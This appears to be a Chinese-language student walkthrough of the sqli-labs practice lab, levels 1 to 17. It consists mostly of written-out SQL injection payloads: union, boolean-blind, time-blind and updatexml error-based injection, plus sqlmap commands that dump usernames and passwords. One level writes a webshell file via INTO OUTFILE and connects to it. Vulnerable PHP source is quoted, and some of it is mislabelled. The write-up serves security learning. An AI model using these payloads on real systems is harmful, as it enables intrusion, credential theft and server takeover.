任务一:将阿三靶场通关!(50)
任务二:将通关过程书写操作手册!(20)
任务三:在Csdn发表通关手册!(20)
任务四:发布的文章进行美化【排版,美观度,也就是所谓的观赏性】!(20)(附加题)
Less-1
图上说我们需要一个数字参数
方法一:手动注入
尝试用最简单的方法去查看有没有注入点
注入?id=1 and 1=1
发现页面没有报错
注入?id=1 and 1=2
发现页面没有报错
于是我用了字符型注入
发现页面报错(所以说此题应该可以字符型注入)
于是我拼接了字符串
页面显示会正常
之后我使用order by来确定表中的数列,来让我们使用union联合查询
联合查询的特点
- 要求多条查询语句的查询列数是一致的
- 要求多条查询语句查询的每一列的类型和顺序都最好一致
- union关键字默认去重,如果使用union all 可以包含重复项
于是我们构造了以下语句
?id=1' and '1'='1' order by 1--+ 页面回显正常
?id=1' and '1'='1' order by 2--+ 页面回显正常
?id=1' and '1'='1' order by 3--+ 页面回显正常
?id=1' and '1'='1' order by 4--+ 出现报错界面
我们确定了字段数,于是用联合查询?id=-1' union select 1,2,3--+(将id弄成一个负数的值使前面的语句失效)之后查看union查询是否有回显
有回应
遮掩给我们就看到了2和3的回显位
然后我们利用union查询,查看数据库的版本和数据库名
补充
version():查看数据库版本
database():查看使用的数据库
user():查看当前用户
limit:limit子句分批来获取所有数据
group_concat():一次性获取所有的数据库信息
接下来利用回显位来查询数据库和数据库版本信息
?id=-1' union select 1,database(),version()--+
我们知道了数据库是security,版本信息:5.5.53
爆表之前的知识点
information_schema.tables:包含了数据库里所有的表
table_name:表名
table_schema:数据库名
column_name:字段名
我们在利用union查询来爆表的知识点来编写语句
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
我们爆出了表名
之后我们正常人的思维,猜测出账号和密码应该在一张表上,我们就去看users表
查看一下表的字段名
?id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'--+
我们看到了username和password字段,
然后我们就去查询字段信息
?id=-1' union select 1,2,group_concat(0x5c,username,0x5c,password) from users--+
方法二:sqlmap工具注入
方法二:
--dbs:是查看所有的数据库
--tables:是查看所有的表
--columns:是查看表中所有的字段名
--dump:是查询哪个表的数据
因为我们已经知道了注入点的位置,于是我们直接用sqlmap跑
命令:sqlmap.py -u "有注入点的url" --dbs
我们看到了security数据库,然后我们开始爆表
命令:sqlmap.py -u "有注入点的url" -D security --tables
接下来我们开始爆字段名
命令:sqlmap.py -u "有注入点的url" -D security -T users --columns
于是我们就可以爆信息了
命令:sqlmap.py -u "有注入点的url" -D security -T users -C "id,username,password" --dump
让后我们就得到了用户名和密码了。
Less-2
首先,我是自己先判断了下,这个是什么注入
?id=1' 不行
?id=1' or '1'='1--+ 也不行
然后又尝试了下
?id=1 and 1=1 页面显示正常
?id=1 and 1=2 页面又错误回显
然后这就是数字注入了
sql输入一般步骤
第一步:通过特殊的数据库查询语句
第二步:在数据库的错误返回中找到sql漏洞
第三步:利用sql语句猜解管理人员信息并登录管理员后台
判断注入类型
数字型注入
- url为 ?id=1'时,因为有一个多余的"单引号"使查询语句错误
- url为?id=1 and 1=1时,没有报错
- url为?id=1 and 1=2时,由于1=2不成立,也会报错
满足这三个,基本上就是数字注入了
字符型注入
- url为 ?id=1'时,数据库认为id叫做1'。查询之后发现没有这个id而返回错误。(在字符型注入中,需要考虑引号的闭合)
- url为?id=1' and '1'='1 在'1'='1之后没有加上'是因为传参时输入的内容已经被' '包围。
后台查询列数
使用order by试出数据库列数
url为 ?id=1' order by 数字 (如果试4时有错误,3时正确,那么列数为3)
找显示位
使用union select找出会返回客户端并显示的列。如果有3列时,应该这么写
url为 ?id=1' union select 1,2,3
加入显示位是3,这就意味着数据库开放了5个“窗口”用来显示内容,用查询到的数据,在这些窗口显示数据
查库名
联合查询:select database();
下面是查看数据库的版本和数据库信息
假如显示位是3,?id=1' union select 1,version,database()
查表名
找到库名以后,使用?id=1' union select 1,2,table_name from information_schema.tables where table_schema='库名' (如果库名是字符型,此处库名要转成十六进制)
information_schema:
这是一个mysql自带的库,其中保存着关于mysql服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表列的数据类型与访问权限等,所以我们查询这个库
查列名
找到表之后,使用?id=1' union select 1,2,column_name from information_schema.columns where table_name='表名' (如果表名是字符型,此处库名要转成十六进制)
如果表数或列数过多,可以在最后使用limit加上limit 0,5相当于检索1-5条信息
查具体数据
找到列之后,使用?id=1' union select 1,2,group_concat("要查询的数据") from 表名
Less-3
新的注入方法
这里我们发现了需要闭合前面的括号。
$sql=select * from users where id=("$id");
我们传入的id为5")时
页面显示正常,之后去判断有几列
pyload: ?id=5')order by 4--+
无回应
再次尝试列数为3
有回应
我们用联合查询,所以我们要保证列数字段一致,如果不一致则会报错。
下面我们贴出源码
<!DOCTYPE html PUBLIC ``"-//W3C//DTD XHTML 1.0 Transitional//EN"` `"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"``>``<html xmlns=``"http://www.w3.org/1999/xhtml"``>``<head>``<meta http-equiv=``"Content-Type"` `content=``"text/html; charset=utf-8"` `/>``<title>Less-4 Error Based- DoubleQuotes String</title>``</head>` `<body bgcolor=``"#000000"``>``<div style=``" margin-top:60px;color:#FFF; font-size:23px; text-align:center"``>Welcome <font color=``"#FF0000"``> Dhakkan </font><br>``<font size=``"3"` `color=``"#FFFF00"``>` `<?php``//including the Mysql connect parameters.``include``(``"../sql-connections/sql-connect.php"``);``error_reporting``(0);``// take the variables``if``(isset(``$_GET``[``'id'``]))``{``$id``=``$_GET``[``'id'``];``//logging the connection parameters to a file for analysis.``$fp``=``fopen``(``'result.txt'``,``'a'``);``fwrite(``$fp``,``'ID:'``.``$id``.``"\n"``);``fclose(``$fp``);` `// connectivity` `$id` `= ``'"'` `. ``$id` `. ``'"'``;``$sql``=``"SELECT * FROM users WHERE id=($id) LIMIT 0,1"``;``$result``=mysql_query(``$sql``);``$row` `= mysql_fetch_array(``$result``);``//函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false if($row)`` ``{`` ``echo` `"<font size='5' color= '#99FF00'>"``;`` ``echo` `'Your Login name:'``. ``$row``[``'username'``];`` ``echo` `"<br>"``;`` ``echo` `'Your Password:'` `.``$row``[``'password'``];`` ``echo` `"</font>"``;`` ``}`` ``else`` ``{`` ``echo` `'<font color= "#FFFF00">'``;`` ``print_r(mysql_error());`` ``echo` `"</font>"``; `` ``}``}`` ``else` `{ ``echo` `"Please input the ID as parameter with numeric value"``;}` `?>` `</font> </div></br></br></br><center>``<img src=``"../images/Less-4.jpg"` `/></center>``</body>``</html>
看源码里面的函数,我给了注释,这就是为什么我们要将id的值给-1,我们需要将前面的数据便为空集,然后我们后面的数据就会呈现出来。
说完了这个,我们接着下一步操作:
- 爆库名 ?id=-1') union select 1,2,database()--+
- 爆表名 ?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
- 爆字段 ?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
- 爆数据 ?id=-1') union select 1,2,group_concat(0x5c,username,0x5c,password) from users--+
然后就查到了我们想要的users表中的数据了。
Less-4
之后我们又来到了第四关,发现第四关只是将单引号变成了双引号了,所以我们
pyload:?id=5")--+
然后发现页面正常显示,没有报错,于是我们用order by来判断列数,步骤和第三题一样。
Less-5
sql盲注
先看一个例子吧
某公司有一个站点,有一个showProduct.php页面,该页面接受名为ID的参数,该参数可唯一标识web站点上的每一件商品。访客可以按下列方式请求页面:
每个请求将显示顾客希望看到的商品数据,为保护数据库不向用户显示任何数据库错误,下列所有请求均显示第一件商品:
http://showProduct.php?id=1' or and 1=1
http://showProduct.php?id=attacker'
到目前为止,我们能看到这公司考虑到了安全性问题,但是我们继续推理过程
http://showProduct.php?id=2 or 1=1 //返回了第1件商品
http://showProduct.php?id=2 or 1=2 //返回了第2件商品
在第一个请求中,or 1=1让数据库返回所有商品。数据库检测该语句异常,显示第1件商品。
在第二个请求中,or 1=2对结果没有影响,所以显示第2件商品
不难发现,我们可以根据相同的原理对攻击做一些变化,例如,可以选择and逻辑运算符来替换or。这样一来
http://showProduct.php?id=2 and 1=1 //返回了第2件商品
http://showProduct.php?id=2 and 1=2 //返回了第1件商品
现在虽然可以操作SQL查询,但是却无法从中获取数据。此外,web服务器根据发送的条件回发不同的相应。我们据此可以确认SQL盲注的存在,并开始着手利用此漏洞。
了解这个了,我们来到sqli-labs第5关 学习一下,sql盲注
我们无法跟前4道题一样,发现没有回显出来用户名和密码,于是我们进行如下
?id=1' and 1=1--+
?id=1' or 1=2--+
用and连接条件时, 如果条件为真,则回显You are in...........
如果条件为假,则没有回显。
用or连接条件时, 如果条件为假,则回显You are in...........
如果条件为真,则没有回显。
用着两种pyload都可以,我这里采用and运算符了。
第一步我们先猜解库名的长度吧,利用延时注入,因为盲注一般页面时没有回显的,所以我们采用延时,当然这道题是有回显的
我们按照延时注入操作:
当我们测试长度为8时,出现了明显延时,所以我们确定数据库名为8个长度
?id=1' and if(length(database())=8,sleep(5),1)--+
数据库第一个字符为s,加下来以此增加left(database(),字符长度)中的字符长度,等号右边以此爆破下一个字符,正确匹配时会延迟。最终爆破得到left(database(),8)='security'
?id=1' and if(left(database(),1)='s',sleep(5),1)--+
爆表名:
?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 3,1),1)='users',sleep(5),5)--+
经过漫长的手注,我们就在limit 3,1中找到了表名 users
爆列名:
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password',sleep(5),1)--+
首先尝试定向爆破,以提高手工注入速度,修改limit x,1 中的x查询password是否存在表中,lucky的是limit 3,1的时候查到了password列,同样的方法查询username ,又一个lucky,接下来爆破字段的值。
爆破值payload:
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb',sleep(5),1)--+
?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb',sleep(5),1)--+
按照id排序,这样便于对应。注意limit 从0开始.通过坚持不懈的尝试终于爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb。
Less-6
第6关和第五关类似
双引号字符型注入,上一题的单引号改成双引号就可以了,同样是两种方法:时间延迟型的手工盲注、报错型的手工盲注或者sqlmap
Less-7
开启文件读写权限
MySql 使用 secure-file-priv 参数对文件读写进行限制,当参数值为 null 时无法进行文件导出操作。使用这条命令可以查看:
show variables like '%secure%';
通过修改 MySQL 下的 my.ini 配置文件就可以启用权限,需要把下面这个字符串写入文件中。
secure_file_priv="/"
再次查看此参数,若参数值不为 null 则修改成功。
判断注入类型
注入个正常的参数,网页返回 “You are in.... Use outfile......”。
?id=1
注入单引号和单引号加个括号闭合,网页回显错误信息。
?id=1'
?id=1')
注入单引号再加上 2 个括号闭合,网页回显 “You are in.... Use outfile......”,说明这是用一个单引号和 2 个括号闭合的字符型注入。
?id=1'))
写入文件
我们需要先知道网页所在的文件路径,从 Less 7 是没办法得知的,所以我们转去 Less 1 获取文件路径。这种操作也可以应用在实践中,可以同时利用同一 Web 中的多个注入点。
?id=9999' UNION SELECT 1,@@basedir,@@datadir --+
使用 UNION 联合查询来注入参数,使用 into outfile 在网页目录下写入一句话木马。注意此处存在转义的问题,所有的 “\” 都要双写。
?id=1')) UNION SELECT 1,2,'' into outfile "D:\phpstudy_pro\WWW\sqli-labs-master\Less-7\text.php"--+
虽然网页显示错误,但是打开文件发现成功写入。
WebShell
使用蚁剑连接,记得 url 要加上我们传入的 text.php。
连接成功,现在可以随意操作网页所在主机的文件了。
关卡 Sql 查询语句
$sql = "SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "#FFFF00">';
echo 'You are in.... Use outfile......';
echo "<br>";
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
echo 'You have an error in your SQL syntax';
//print_r(mysql_error());
echo "</font>";
}
Less-8
GET-Blind-Boolian Based-Single Quotes(布尔型单引号 GET 盲注)
首先注入正确的参数
?id=1
之后我们在尝试一个没有存在的id9999
?id=9999
判断换一下有没有sql注入的漏洞用单引号
?id=1'
此时还是注入单引号,但是把后面的内容注释掉,网页返回 “You are in...”。这说明网页存在 Sql 注入漏洞,并且是用单引号字符型注入。同时因为 Sql 语句发生错误时也不报错,因此此处是 bool 盲注漏洞。
?id=1'--+
获取数据库信息
和 Less 5 不同在于 Less 8 查询发生错误时不会报错,不过基本的操作与 Less 5 类似。首先判断表有几列,使用 ORDER BY 子句进行一个排序,看一下对几列有效。返回 “You are in...”,说明表至少有 3 行。
?id=1' ORDER BY 3--+
测试到第 4 列未返回 “You are in...”,说明表中一共有 3 列。
?id=1' ORDER BY 4--+
得出数据库名的长度,网页只会有返回 “You are in...” 和无回显 2 种情况,我们使用 length() 函数结合回显信息判断数据库长度。
?id=1' AND LENGTH((SELECT database()))>5--+
经过二分法测试,得出数据库长度为 8。
?id=1' AND LENGTH((SELECT database()))=8--+
使用 left() 函数判断数据库名的第一位是否是字符 a。注入之后无回显,说明数据库名第一位不是 a。
?id=1' AND LEFT((SELECT database()), 1)='a' --+
这里可以打开 burp 抓包,爆破得出数据库名的第一个字符为 “s”。
?id=1' AND LEFT((SELECT database()), 1)='s' --+
使用相同方法爆出数据库名,接着继续爆破表名、字段名及其剩余信息。
关卡 SQL 查询语句
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
Less-9
GET-Blind-Time based-Single Quotes(基于时间的 GET 单引号盲注)
判断注入类型
首先注入正确的参数,网页返回 “You are in...”,但是没有其他信息。
?id=1
接下来注入个查不到的参数,网页还是返回 “You are in...”。
?id=9999
注入个单引号进行闭合,网页还是返回 “You are in...”。
?id=1'
以下 3 种注入仍然还是返回 “You are in...”,说明此时网页不会回显任何有价值的信息。
?id=1'--+
?id=1"
?id=1"--+
转换思路,MySql 的 sleep() 函数能够起到休眠的作用。为了方便调试这里使用 brup 的重发器,注入如下参数响应时间没有异常。
?id=1 and sleep(1)--+
注入如下参数响应时间明显增加,并且主观上也能感受到延迟。这是明显的基于 时间盲注 的字符型 Sql 注入漏洞,我们需要使用 sleep() 函数制造时间差进行注入。
?id=1' and sleep(1)--+
获取数据库信息
注入流程与 Less 5 类似,不过这里的判断标准不是会显的信息,而是响应时间。MySQL 的 IF 语句允许根据表达式的某个条件或值结果来执行一组 SQL 语句,语法如下,当表达式 expr 为真时返回 value1 的值,否则返回 value2。
IF(expr, value1, value2)
此处因为无法回显任何东西,因此 ORDER BY 子句失效。我们使用 IF 语句结合 LENGTH() 函数对数据库名长度进行判断,如果猜测正确则令响应时间长一些。猜测数据库名长度小于 10 时响应时间超过,所以数据库名长度小于 10。
?id=1' AND IF(LENGTH(database())<10,sleep(1),1)--+
经过二分法测试,得出数据库长度为 8。
?id=1' AND IF(LENGTH(database())=8,sleep(1),1)--+
使用 left() 函数判断数据库名的第一位是否是字符 a,注入之后响应很快说明数据库名第一位不是 a。
?id=1' AND IF(LEFT((SELECT database()), 1)='a',sleep(1),1)--+
使用穷举法进行测试,得出数据库名的第一个字符为 “s”。
?id=1' AND IF(LEFT((SELECT database()), 1)='s',sleep(1),1)--+
接下来得出数据库名,再使用同样的方法继续爆破表名、字段名及其剩余信息。
?id=1' AND IF(LEFT((SELECT database()), 8)='security',sleep(1),1)--+
关卡 SQL 查询语句
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
Less-10
GET-Blind-Time based-double quotes(基于时间的双引号盲注)
判断注入类型
注入正确的参数,网页返回 “You are in...”,但是没有其他信息。
?id=1
?id=9999
?id=1'
?id=1'--+
?id=1"
?id=1"--+
为了方便调试这里使用 brup 的重发器,注入以下 2 种参数响应时间没有异常。
?id=1 and sleep(1)--+
?id=1' and sleep(1)--+
使用双引号闭合时,响应时间明显增加,并且主观上也能感受到延迟,这是基于 时间盲注 的字符型 Sql 注入漏洞。
?id=1" and sleep(1)--+
获取数据库信息
Less 10 和 Less 9 差不多,知识 Less 10使用双引号进行闭合。此处因为无法回显任何东西,因此 ORDER BY 子句失效。使用 IF 语句结合 LENGTH() 函数进行诸如,猜测数据库名长度小于 10 时响应时间超过 1 秒。
?id=1" AND IF(LENGTH(database())<10,sleep(1),1)--+
经过二分法测试,得出数据库长度为 8。
?id=1" AND IF(LENGTH(database())=8,sleep(1),1)--+
获取数据库名时,使用 LEFT() 函数进行穷举法的效率较低,使用 substr() 函数结合 ASCII() 函数进行判断可以使用二分法快速缩小范围。
?id=1" AND IF(ASCII(SUBSTR((SELECT database()),1,1))>109,sleep(1),1)--+
使用二分法进行测试,最后得出数据库名的第一个字符 ASCII 码值为 115。
?id=1" AND IF(ASCII(SUBSTR((SELECT database()),1,1))=115,sleep(1),1)--+
使用相同方法依次得出剩下的字符 ASCII 码值,连接在一起就是数据库名。
?id=1" AND IF(ASCII(SUBSTR((SELECT database()),2,1))=102,sleep(1),1)--+
关卡 SQL 查询语句
$id = '"'.$id.'"';
$sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
Less-11
127.0.0.1//sqli-labs/Less-11/
单引号没有闭合就可以编写一个注入
'or 1=1 --+&submit=Submit
Less-12
POST-Error Based-Double quotes-String-with twist(基于错误的双引号 POST 型字符型变形的注入)
判断注入类型
用户名随便写点东西后用单引号闭合,使用 OR 运算符构造恒真条件,使用 “#” 注释掉后面的内容注入。网页提示登录失败,并且没有返回报错信息,说明不是用单引号闭合。
a' OR 1 = 1#
注入以下的内容,统统都显示登录失败且无回显。
a') OR 1 = 1#
a')) OR 1 = 1#
使用双引号进行闭合时,发现 MySql 返回报错信息。说明网页通过双引号进行闭合,但是此时语法不对。
a" OR 1 = 1#
Less-13
POST-Double Injection-Single quotes-String-twist(POST 单引号变形双注入)
判断数据类型
用户名随便写点东西后用单引号闭合,使用 OR 运算符构造恒真条件,使用 “#” 注释掉后面的内容注入。网页提示登录失败,并返回语法错误的提示信息。
admin' OR 1 = 1#
添加一个括号,使用单引号闭合,此时网页提示我们登录成功。因此网页存在字符型注入漏洞,并且使用单引号和括号进行闭合。注意到此时网页并没有返回任何信息,我们需要使用 bool 盲注进行注入。
admin') OR 1 = 1#
使用 Brup 抓包,网页是通过 POST 方法提交的参数如下。
uname=&passwd=&submit=Submit
获取数据库信息
判断表有几列,使用 ORDER BY 子句进行排序看下对几列有效。对第二列对返回的结果排序,网页返回正常。
uname=a') OR 1 = 1 ORDER BY 2#&passwd=a&submit=Submit
对第 3 列对返回的结果排序,网页返回不知道第 3 列,说明一共有 2 列。
uname=a' OR 1 = 1 ORDER BY 3#&passwd=&submit=Submit
得出数据库名的长度,网页只会有登录成功或登录失败 2 种情况,使用 length() 函数结合回显信息判断数据库长度。
uname=a') OR LENGTH((SELECT database())) > 5#&passwd=a&submit=Submit
获取数据库名,使用 left(string,num) 函数返回字符串 string 最左边的 num 个字符。首先使用判断数据库名的第一位是否是字符 a。注入之后返回登录失败,说明数据库名第一位不是 a。
uname=a') OR LEFT((SELECT database()),1) = 'a'#&passwd=a&submit=Submit
使用 brup 抓包,对第一个字符进行爆破,得出数据库第一个字符是 “s”。
关卡 Sql 查询语句
// connectivity
@$sql = "SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
//echo '<font color= "#0000ff">';
echo "<br>";
echo '<font color= "#FFFF00" font size = 4>';
//echo " You Have successfully logged in " ;
echo '<font size="3" color="#0000ff">';
echo "<br>";
//echo 'Your Login name:'. $row['username'];
//echo "<br>";
//echo 'Your Password:' .$row['password'];
//echo "<br>";
echo "</font>";
echo "<br>";
echo "<br>";
echo '<img src="../images/flag.jpg" />';
echo "</font>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
)
Less-14
POST-Double Injection-Single quotes-String-twist(POST 单引号变形双注入)
判断数据类型
用户名随便写点东西后用单引号闭合,使用 OR 运算符构造恒真条件,使用 “#” 注释掉后面的内容注入。网页提示登录失败,但是没有返回语法错误的提示信息。
a' OR 1 = 1#
注入以下的内容,统统都显示登录失败且无回显。
a') OR 1 = 1#
a')) OR 1 = 1#
使用双引号闭合,此时网页提示我们登录成功。因此网页存在双引号进行闭合的字符型注入漏洞,此时网页也没有返回任何信息,我们需要使用 bool 盲注进行注入。
admin" OR 1 = 1#
使用 Brup 抓包,网页是通过 POST 方法提交的参数如下。
uname=&passwd=&submit=Submit
获取数据库信息
判断表有几列,使用 ORDER BY 子句进行排序看下对几列有效。对第二列对返回的结果排序,网页返回正常。
uname=a" OR 1 = 1 ORDER BY 2#&passwd=&submit=Submit
对第 3 列对返回的结果排序,网页返回不知道第 3 列,说明一共有 2 列。
uname=a" OR 1 = 1 ORDER BY 3#&passwd=&submit=Submit
得出数据库名的长度,网页只会有登录成功或登录失败 2 种情况,使用 length() 函数结合回显信息得出数据库长度为 8。
uname=a" OR LENGTH((SELECT database())) = 8#&passwd=&submit=Submit
获取数据库名时可以使用 left() 函数,这里使用 substr() 函数截取数据库名的每个字符,然后使用 ASCII() 函数判断这个字符的 ASCII 码值。
uname=a" OR ASCII(SUBSTR((SELECT database()),1,1))>100#&passwd=&submit=Submit
使用二分法进行测试,最后得出数据库名的第一个字符 ASCII 码值为 115。
uname=a" OR ASCII(SUBSTR((SELECT database()),1,1))=115#&passwd=&submit=Submit
通过相同的方式进行测试,最后得出数据库名为 “security”。使用同样的方法继续爆出表名、字段名及其剩余信息。
uname=a" OR ASCII(SUBSTR((SELECT database()),2,1))=101#&passwd=&submit=Submit
关卡 Sql 查询语句
// connectivity
$uname = '"'.$uname.'"';
$passwd = '"'.$passwd.'"';
@$sql = "SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
Less-15
POST 方式的盲注
POST 方式的布尔型盲注
修改字段进行SQL 注入根据返回的图片来验证是否满足条件
'and (length(database())=8)--+&passwd=admin&submit=Submit
POST 方式的时间盲注
根据 bp 右下角的响应时间来进行判断条件是否满足
if 判断语句解释
1 if(length(database())>1,sleep(3),null) //条件成功则睡眠3秒,否则直接返回
2 length(database())>1 //判断条件
3 sleep(3) //当条件成功时,则执行的内容
4 null //当条件不成功时执行的内容
Less-16
POST-Blind-Boolian/Time Based-Double quotes (基于 bool 型 / 时间延迟的双引号 POST 型盲注)
判断注入类型
用户名随便写点东西后用单引号闭合,使用 OR 运算符构造恒真条件,使用 “#” 注释掉后面的内容注入。网页提示登录失败,但是并未返回任何信息。
' OR 1 = 1#
注入以下的内容,统统提示登录失败。
a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
注入双引号和括号,网页提示登录成功。此处只能通过登录成功或失败来判断注入情况,使用 bool 盲注或者时间盲注都行。
") OR 1 = 1#
使用 Brup 抓包,网页是通过 POST 方法提交的参数如下。
uname=&passwd=&submit=Submit
使用 Brup 抓包,网页是通过 POST 方法提交的参数如下。
uname=&passwd=&submit=Submit
获取数据库信息
通关 Less 16 采用上述 2 种方式都行,也可以使用时间盲注。判断表有几列,使用 ORDER BY 子句对第二列对返回的结果排序,网页返回正常。
uname=a") OR 1 = 1 ORDER BY 2#&passwd=a&submit=Submit
对第 3 列对返回的结果排序,网页返回不知道第 3 列,说明一共有 2 列。
uname=a") OR 1 = 1 ORDER BY 3#&passwd=&submit=Submit
得出数据库名的长度,使用 length() 函数得出数据库长度为 8。
uname=a") OR LENGTH((SELECT database())) = 8#&passwd=a&submit=Submit
获取数据库名,使用 substr() 函数截取数据库名的每个字符,然后使用 ASCII() 函数判断这个字符的 ASCII 码值。使用二分法进行测试,最后得出数据库名的第一个字符 ASCII 码值为 115。通过相同的方式进行测试,最后得出数据库名为 “security”。使用同样的方法继续爆出表名、字段名及其剩余信息。
uname=a") OR ASCII(SUBSTR((SELECT database()),1,1))=115#&passwd=&submit=Submit
关卡 Sql 查询语句
// connectivity
$uname = '"'.$uname.'"';
$passwd = '"'.$passwd.'"';
@$sql = "SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
Less-17
判断注入类型
我们先按照这个网页的功能走一遍,目测是更改密码的页面,输入用户名之后用新密码覆盖旧密码。
切换到 Less 11 验证一下,可以看到此时 admin 用户的密码已经被我们所修改
接下来判断注入类型,使用单引号闭合构造恒真条件,网页回显密码修改失败。
a' OR 1 = 1#
测试一下所有的注入,发现这些注入网页都回显改密失败。
a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#
抓包得知网页需要利用 POST 方法提交的参数格式如下:
uname=&passwd=&submit=Submit
接下来对新密码字段进行闭合测试,使用单引号闭合仍然失败。
uname=a&passwd=a'#&submit=Submit
以下几种注入仍然全部失败。
uname=a&passwd=a')#&submit=Submit
uname=a&passwd=a'))#&submit=Submit
uname=a&passwd=a"#&submit=Submit
uname=a&passwd=a")#&submit=Submit
uname=a&passwd=a"))#&submit=Submit
我们切换下思路,之前我们的用户名字段都是随便输入的,现在我们写上一个已知的用户名 admin 再次注入。
uname=admin&passwd=a'&submit=Submit
网页回显改密码成功,并且报了一个语法错误,说明 passwd 使用单引号进行闭合。同时我们可以推测这个关卡有 2 次查询,第一次是根据 uname 参数进行查询,判断要改密码的用户是否存在。第二次查询时根据要改密码的用户,把 passwd 参数覆盖原密码,这里在第二次查询有注入点。
updatexml() 报错注入
我们将使用 updatexml() 报错注入,该函数用于改变 XML 文档中符合条件的节点的值。函数原型为:
UPDATEXML (XML_document, XPath_string, new_value);
参数 | 说明 |
---|---|
XML_document | String,XML 文档对象的名称 |
XPath_string | Xpath 格式的字符串 |
new_value | String,用于替换查找到的符合条件的数据 |
其中参数 XPath_string 需要是 “/xxx/xxx/…” 的格式,进行查询时将会按照这个参数进行操作。注意如果 XPath_string 是个错误的路径,但是该路径符合 Xpath 的规范就不会报错。反之 XPath_string 的格式错误时就会触发报错,我们要利用的就是这一点,通过 updatexml() 函数的报错回显我们需要的信息。
为了更好地理解 updatexml() 报错注入,我们利用 updatexml() 函数获取下当前使用的 MySql 版本。
uname=admin&passwd=' OR updatexml(1,concat("!",version()),2)#&submit=Submit
为什么可以返回 MySql 版本?因为我们使用单引号闭合了 passwd 参数所在的 Sql 语句的前面的部分,使用 OR 连接的 updatexml() 函数就会被执行。updatexml() 函数会在 “concat("!",version())” 路径下查找 “1”,若查找成功就将其替换为 “2”。不过我们使用 concat() 函数在 verion() 的返回值前加了个 “!”,使得 XPath_string 的内容不符合 Xpath 的规范触发报错,报错回显的内容就是感叹号带上 verison() 函数的返回值。
获取数据库信息
爆库名,利用 updatexml() 报错回显数据库名。
uname=admin&passwd=' OR updatexml(1,concat("!",database()),2)#&submit=Submit
爆表名,XPath_string 参数可以使用一个 SELECT 查询结果,使用 group_concat() 函数聚合。
uname=admin&passwd=' OR updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security'))
通过修改 LIMIT 子句的返回行数,就能取出其他行的查询结果。
uname=admin&passwd=' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 1,1)),1))#submit=submit
关卡 Sql 语句
Sql 查询
源码如下,服务器先对用户名进行查询,若用户名存在则用传进的参数 passwd 覆盖掉原来的密码。也就是说只有当第一个 SELECT 执行成功时,UPDATE 语句才会被执行。为什么我们无法对 SELECT 语句进行注入?注意到 SELECT 是针对 uname 参数进行查询,但是当 uname 参数被传入时进入了 check_input() 函数,从而怀疑 check_input() 函数对传入的字符串进行了过滤。
$uname = check_input($_POST['uname']);
$passwd = $_POST['passwd'];
// connectivity
@$sql = "SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
if($row)
{
//echo '<font color= "#0000ff">';
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update = "UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
//echo "<br>";
if (mysql_error())
{
echo '<font color= "#FFFF00" font size = 3 >';
print_r(mysql_error());
echo "</br></br>";
echo "</font>";
}
else
{
echo '<font color= "#FFFF00" font size = 3 >';
//echo " You password has been successfully updated " ;
echo "<br>";
echo "</font>";
}
echo '<img src="../images/flag1.jpg" />';
//echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font size="4.5" color="#FFFF00">';
//echo "Bug off you Silly Dumb hacker";
